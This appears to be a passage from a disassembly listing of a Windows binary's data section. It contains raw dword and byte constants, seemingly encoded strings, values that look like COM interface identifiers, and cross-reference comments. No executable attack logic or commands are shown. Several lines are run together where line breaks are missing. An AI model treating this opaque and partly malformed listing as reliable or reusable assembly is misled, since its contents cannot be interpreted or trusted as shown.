dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h
dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h
dd 28232571h, 30363071h, 7F3F38h
dword_550938 dd 0ABE6000Ah, 83929587h, 9487A594h db 82h, 0
word_550946 dw 4 ; DATA XREF: sub_438324+8FDo
dd 0E9F3ECBAh
db 0FBh, 0
word_55094E dw 1 ; DATA XREF: sub_438324+828o
db 47h, 67h, 0
byte_550953 db 6 ; DATA XREF: sub_438324+818o
dd 0CCCB9800h, 0DBD1CCD9h
db 0
byte_55095D db 15h, 0, 53h ; DATA XREF: sub_438324+6E7o
dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h
db 17h, 0
word_550976 dw 6 ; DATA XREF: sub_438324+6D7o
aQOJm db 'ï¼»®»¦¬',0
dword_550980 dd 3B0000h dword_550984 dd 0F1A20006h, 0EBF6E3F6h db 0E1h, 0
word_55098E dw 6 ; DATA XREF: sub_438324+4FEo
dd 150F0F64h, 1C1249h
dword_550998 dd 5C190008h, 76756961h, 6B7C6Bhdword_5509A4 dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh db 0
byte_5509B1 db 0Eh, 0, 9Ah ; DATA XREF: sub_438324+421o
dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh
dword_5509C8 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5509D8 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_441B74+1F2o ...
dword_5509E8 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
; DATA XREF: sub_439556:loc_4395A2o
; sub_43C652+D3o ...
dword_5509F8 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; DATA XREF: sub_43DA81:loc_43DACDo
dword_550A08 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_550A18 dd 20400h, 0 ; sub_43DA81:loc_43DAADo ...
dd 0C0h, 46000000h
dword_550A28 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44296E+188o
dword_550A38 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44526D+89o
dword_550A48 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44296E+54Eo ...
dword_550A58 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A68 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A78 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_550A88 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_550A98 dd 2 dup(0) ; sub_43DA81+Co ...
dd 0C0h, 46000000h
dword_550AA8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0)
; DATA XREF: sub_43C652+9Eo
; sub_43EA1B+A7o ...
_data ends
end start